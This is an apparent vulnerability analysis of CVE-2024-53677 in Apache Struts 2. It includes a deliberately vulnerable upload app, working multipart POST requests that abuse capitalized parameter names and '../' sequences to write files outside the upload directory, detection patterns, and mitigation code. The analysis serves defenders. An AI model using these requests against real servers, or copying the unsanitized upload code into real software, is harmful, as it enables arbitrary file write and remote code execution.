Activity Feed

1
Technical Analysis

With remote-method-guesser: detection with rmg enum and exploitation with rmg bind of the RMI registry localhost bypass.

Indicated source as
3
Ratings
Technical Analysis

CVE-2024-53677 is a flawed upload logic vulnerability in Apache Struts 2. The vulnerability permits an attacker to override internal file upload variables in applications that use the Apache Struts 2 File Upload Interceptor. Malicious uploaded files with relative path traversal sequences in the name result in arbitrary file write, facilitating remote code execution in many scenarios. This vulnerability is similar to CVE-2023-50164, but remediation is more challenging; patching applications requires that the developers rewrite all affected file upload code, since, based on our testing, merely upgrading the framework dependency to a “fixed” version does not prevent exploitation. The 6.4.0 version mentioned in the ‘Solution’ section of the advisory was released in April of 2024 and does not appear to contain a fix for the vulnerability, nor do any later 6.x releases (as of December 18, 2024) — including the latest release in the 6.x version stream (6.7.0).

File Upload Interceptor

The File Upload Interceptor in Struts 2 is used for binding uploaded file content, the file’s name, and its content type to specific properties in the action class. It’s intended to be a trusted method of filtering uploaded files, including limiting permissible file types, capping file sizes, safely translating incoming file names, and more. With the release of Struts 2 version 6.4.0, the use of File Upload Interceptor is now intended to be deprecated — developers are meant to use the Action File Upload Interceptor instead, and the Apache maintainers have stated that File Upload Interceptor should no longer be used.

However, based on testing, it does not appear to have been removed or patched in 6.4.0, or any other 6.x version. Instead, File Upload Interceptor is marked “deprecated”, but it still exists and appears to operate in a vulnerable manner on all tested 6.x versions of Struts 2. Furthermore, even explicitly changing interceptor values from “fileUpload” to ”actionFileUpload” in Struts XML definition files for 6.x applications appears to silently fall back to using the vulnerable File Upload Interceptor without additional necessary code-level changes.

Vulnerability Impact

Because Apache Struts 2 is a popular framework for application development, it’s possible that CVE-2024-53677 could potentially affect a reasonably broad swath of (particularly legacy) applications. CVE-2024-53677 specifically is confusing and difficult to patch, and the impact can be unauthenticated RCE. As such, I’ve rated “Attacker Value” as “High”. However, much like CVE-2023-50164, a similar Apache Struts vulnerability from 2023, payloads for CVE-2024-53677 will need to customized on a per-target basis in most (if not all) cases. Because of the bespoke payload requirement, I’ve rated “Exploitability” as “Low”. It’s been reported that exploitation in the wild is taking place. However, these payloads do not appear to be valid payloads for CVE-2024-53677, so it remains to be seen how much successful exploitation in the wild will occur.

Defenders should know that simply updating to Struts 2 >= 6.4.0 is not sufficient to prevent exploitation. File upload endpoints that use the vulnerable File Upload Interceptor (<interceptor-ref name="fileUpload"/>) will need to be refactored to use Action File Upload Interceptor (<interceptor-ref name="actionFileUpload"/>) instead. As mentioned above, attention to detail is vital during patching, since Struts 6.x file uploads will default to the vulnerable File Upload Interceptor without code-level changes, even if “actionFileUpload” interceptor is explicitly specified in Struts XML files. More on this can be found in the “Mitigation Guidance” section.

For detection purposes, payloads will be bespoke, but all working payloads should contain either the upload field name pattern top.{CAPITALIZED_UPLOAD_NAME}FileName (single-file upload) or {UPLOAD_NAME}FileName[0] (multi-file upload).

Exploitability

There are several important prerequisites and details for exploitation of CVE-2024-53677:

  • Exploitation requires knowledge of, and access to, an upload endpoint that uses a File Upload Interceptor. In practical terms, an attacker must have the ability to upload files to a Struts 2 application via a web page or API endpoint.
  • White box code visibility is not necessary, making black box exploitation viable. Knowledge of the upload form field names is required, but this data will be pre-populated or documented for most web applications and APIs.
  • Whether or not authentication is required for exploitation depends on whether file upload functionality is accessible without authentication. For example, Struts 2 applications with a vulnerable file upload in a public “Contact Us” form would be exploitable for traversal writes without authentication; a vulnerable file upload on an admin-only web page would require high privileges to exploit.
  • Exploitation is bespoke, since each vulnerable application is likely to implement file uploads in a unique way. Payloads will differ if multiple form fields are expected by the target software. A single file-only upload page requires a different payload than, for example, an upload endpoint that expects two files and a text description. Automated payload spraying will likely take place, but threat actors will need to develop payloads for each affected target piece of software.
  • Some applications may contain secondary manual checks and sanitization of file names as an additional defensive measure. In that scenario, if those measures are implemented effectively, exploitation will not be viable.

Technical Analysis

Security researcher Y4tacker published an excellent analysis of the vulnerability, which this high-level analysis is based on. Similar to CVE-2023-50164, the modification of name capitalization on some web request form fields permits an attacker to confuse the internal Struts data processing logic to incorrectly bind parameters. As outlined in the Y4tacker analysis, the exploited code path differs between single-file uploads and multi-file uploads. However, the same capitalization-based parameter binding confusion premise is used to control those different internal values.

The following vulnerable web application was created for testing the single-file upload scenario. The interceptor <interceptor-ref name="fileUpload">, the File Upload Interceptor, is used in our XML Struts definition file. Note: the absence of a “fileUpload” interceptor definition in XML does not necessarily mean that the application is not vulnerable. More on this in the mitigation section.

$ tree -a src/
src/
└── main
    ├── java
    │   └── com
    │       └── example
    │           └── UploadAction.java
    ├── resources
    │   └── struts.xml
    └── webapp
        ├── index.jsp
        ├── upload.jsp
        └── WEB-INF
            └── web.xml

$ cat src/main/resources/struts.xml 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
    "http://struts.apache.org/dtds/struts-2.5.dtd">

<struts>
    <package name="default" extends="struts-default">
        <action name="upload" class="com.example.UploadAction">
            <interceptor-ref name="fileUpload">
                <param name="allowedTypes">text/plain,image/jpeg,image/png,application/octet-stream</param>
                <param name="maximumSize">5242880</param> <!-- 5MB -->
            </interceptor-ref>
            <interceptor-ref name="defaultStack" />
            <result name="success">upload.jsp</result>
            <result name="error">upload.jsp</result>
        </action>
    </package>
</struts>

$ cat src/main/webapp/WEB-INF/web.xml 
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://java.sun.com/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>

$ cat src/main/webapp/index.jsp 
<%@ page contentType="text/html; charset=UTF-8" %>
<html>
<body>
    <h1>Upload</h1>
    <form action="upload" method="post" enctype="multipart/form-data">
        <label for="file">Select a file:</label>
        <input type="file" name="upload" id="file" />
        <br><br>
        <input type="submit" value="Upload File" />
    </form>
</body>
</html>

$ cat src/main/webapp/upload.jsp 
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<body>
    <h1>Upload Result</h1>
    <s:property value="message" />
    <br>
    <a href="index.jsp">Back</a>
</body>
</html>

Our primary upload logic is in UploadAction.java, where we’ll use a typical File Upload Interceptor-based file upload pattern. We’ll define an uploads directory, create a new file by concatenating uploadFileName (which is supposed to be safe) with our directory path, then copy the temporary file that exists in the Tomcat temp directory to the new location. We do not perform any sanitization, since Struts is expected to take care of that for us.

package com.example;

import java.io.File;
import java.io.IOException;
import org.apache.commons.io.FileUtils;

public class UploadAction {
    private File upload;                
    private String uploadFileName;    
    private String uploadContentType;  

    private static final String UPLOAD_DIRECTORY = "/var/log/tomcat9/struts_uploads";

    public String execute() {
    try {
         System.out.println("Src File name: " + upload);
         System.out.println("Dst File name: " + uploadFileName);
     	    	 
         File destFile  = new File(UPLOAD_DIRECTORY, uploadFileName);
         FileUtils.copyFile(upload, destFile);
  
      } catch(IOException e) {
         e.printStackTrace();
         return "error";
      }

      return "success";
    }

   public File getUpload() {
      return upload;
   }
   
   public void setUpload(File upload) {
      this.upload = upload;
   }
   
   public String getUploadContentType() {
      return uploadContentType;
   }
   
   public void setUploadContentType(String uploadContentType) {
      this.uploadContentType = uploadContentType;
   }
   
   public String getUploadFileName() {
      return uploadFileName;
   }
   
   public void setUploadFileName(String uploadFileName) {
      this.uploadFileName = uploadFileName;
   }
}

We’ll compile the application, copy the WAR file to the Tomcat directory, then restart the service.

$ mvn clean package && sudo cp target/Struts2FileUpload.war /var/lib/tomcat9/webapps/ && sudo systemctl restart tomcat9.service

If we submit the following POST request, which contains a simple traversal attempt in the file name, the traversal is stripped, the console logs Dst File name: testwrite.txt, and the file is written to the appropriate directory.

POST /Struts2FileUpload/upload HTTP/1.1
Host: 192.168.130.13:8080
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Length: 682

------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="upload"; filename="../testwrite.txt"
Content-Type: text/plain

TESTING
------WebKitFormBoundaryiqze7OZ2lynLStkK

$ ls /var/log/tomcat9/struts_uploads/
testwrite.txt

Next, we’ll attempt to clobber top.uploadFileName, the internal OGNL value used by Struts 2 for single-file uploads, as discussed in the Y4tacker analysis. As shown in the code, our input matches the file upload (called upload), and we’re targeting the internal top value of the OGNL value stack. However, we aren’t capitalizing “upload” in “uploadFileName” to confuse the upload data handling logic. Because of that, this attempt should also fail.

POST /Struts2FileUpload/upload HTTP/1.1
Host: 192.168.130.13:8080
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Length: 319

------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="upload"; filename="testwrite2.txt"
Content-Type: text/plain

TESTING
------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="top.uploadFileName"

../testwrite2.txt
------WebKitFormBoundaryiqze7OZ2lynLStkK--

The traversal is stripped again, and the file write is sane.

$ ls /var/log/tomcat9/struts_uploads/
testwrite2.txt  testwrite.txt

Lastly, we’ll send a capitalized payload to confuse the parameter binding process and gain control of the top OGNL stack value, as described in the Y4tacker analysis.

POST /Struts2FileUpload/upload HTTP/1.1
Host: 192.168.130.13:8080
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Length: 319

------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="Upload"; filename="testwrite3.txt"
Content-Type: text/plain

TESTING
------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="top.UploadFileName"

../testwrite3.txt
------WebKitFormBoundaryiqze7OZ2lynLStkK--

This time, the console logs Dst File name: ../testwrite3.txt and the file traversal results in the file being written in the parent tomcat9 directory.

$ ls /var/log/tomcat9/testwrite3.txt 
/var/log/tomcat9/testwrite3.txt

No patch analysis is provided in this write up, since it appears that no patch was issued for the vulnerability. The recommended 6.4.0 version does not patch the vulnerability, nor does any other 6.x version (as of December 18, 2024). Instead, Apache Struts now recommends that Action File Upload Interceptor should be used instead of File Upload Interceptor, and File Upload Interceptor has been removed in v7.x. The new Action File Upload Interceptor does not appear to offer sanitized file names as a feature, instead opting to leave that for developers using the framework.

Mitigation guidance

Updating to Struts 2 >= 6.4.0 on 6.x is not sufficient to prevent exploitation. File upload endpoints that use the vulnerable File Upload Interceptor will need to be refactored to use Action File Upload Interceptor instead.

Below, we’ll show an example of how to convert the vulnerable file upload example above to a non-vulnerable one. Apache Struts documentation demonstrates examples here and here. It’s vital to note that it appears that the Struts framework no longer indicates it will take responsibility for sanitizing file names when using Action File Upload Interceptor. This will be a departure from the norm for Struts developers, since the previous File Upload Interceptor was designed to sanitize tainted file names. Instead, using the new Action File Upload Interceptor, developers must either sanitize the tainted data provided by getOriginalName() or specify a new name for the file.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
    "http://struts.apache.org/dtds/struts-2.5.dtd">

<struts>
    <package name="default" extends="struts-default">
        <action name="upload" class="com.example.UploadAction">
            <!-- Include Action File Upload Interceptor explicitly -->
            <interceptor-ref name="actionFileUpload">
                <param name="allowedTypes">text/plain,image/jpeg,image/png,application/octet-stream</param>
                <param name="maximumSize">5242880</param> <!-- 5MB -->
            </interceptor-ref>
            <interceptor-ref name="defaultStack" />

            <result name="success">upload.jsp</result>
            <result name="error">upload.jsp</result>
        </action>
    </package>
</struts>

Note: If only the XML changes shown above are made, without making the code-level changes shown below, Struts appears to silently fall back to using File Upload Interceptor instead of Action File Upload Interceptor. In that scenario, without code-level changes, CVE-2024-53677 will remain exploitable.

Along with some new imports, we’ll modify our UploadAction class to extend ActionSupport and implement UploadedFilesAware. Referencing the Action File Upload Interceptor implementation examples, we’ll also define an override withUploadedFiles method. Per the documentation, we’re now working with the fileName and originalFileName variables, sourced via UploadedFile.getName() and UploadedFile.getOriginalName(), respectively.

package com.example;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.List;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.struts2.action.UploadedFilesAware;
import org.apache.struts2.dispatcher.multipart.UploadedFile;

public class UploadAction extends ActionSupport implements UploadedFilesAware {
   private static final String UPLOAD_DIRECTORY = "/var/log/tomcat9/struts_uploads";
   private UploadedFile upload;
   private String contentType;
   private String fileName;
   private String originalFileName;

   @Override
   public void withUploadedFiles(List<UploadedFile> uploadedFiles) {
      if (!uploadedFiles.isEmpty()) {
         this.upload = uploadedFiles.get(0);
         this.fileName = upload.getName(); // On Tomcat, this is the temporary file name that contains no user input.
         this.contentType = upload.getContentType();
         this.originalFileName = upload.getOriginalName(); // This is the original file name, and it is not sanitized or validated.
      }
   }

   public String execute() {
      try {
         System.out.println("Src File: " + upload);
         System.out.println("Dst File name: " + fileName);
         System.out.println("Orig File name: " + originalFileName);

         File destFile = new File(UPLOAD_DIRECTORY, fileName);
     	    	 
         File sourceFile = (File) upload.getContent();
         Files.copy(sourceFile.toPath(), destFile.toPath(), StandardCopyOption.REPLACE_EXISTING);

      } catch (IOException e) {
         e.printStackTrace();
         return ERROR;
      }

      return SUCCESS;
   }
}

After compiling and copying the WAR file to the Tomcat directory, we perform a malicious web request containing traversal file name values to the modified application.

POST /Struts2FileUpload/upload HTTP/1.1
Host: 192.168.130.13:8080
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Length: 354

------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="Upload"; filename="../shouldbefixed_FILENAME.txt"
Content-Type: text/plain

TESTING
------WebKitFormBoundaryiqze7OZ2lynLStkK
Content-Disposition: form-data; name="top.UploadFileName"

../shouldbefixed_INJECTEDFILENAME.txt
------WebKitFormBoundaryiqze7OZ2lynLStkK--

In the Catalina log file, we observe that the traversal sequence is present in originalFileName, but fileName contains a temporary file name.

[info] Src File: StrutsUploadedFile{contentType='text/plain', originalName='../shouldbefixed_FILENAME.txt', inputName='Upload'}
[info] Dst File name: upload_ea82700a_786f_415b_a2d4_e0fa45b22b9b_00000002.tmp
[info] Orig File name: ../shouldbefixed_FILENAME.txt

As indicated in the code example above, the file is written with the name “upload_ea82700a_786f_415b_a2d4_e0fa45b22b9b_00000002.tmp”.

References: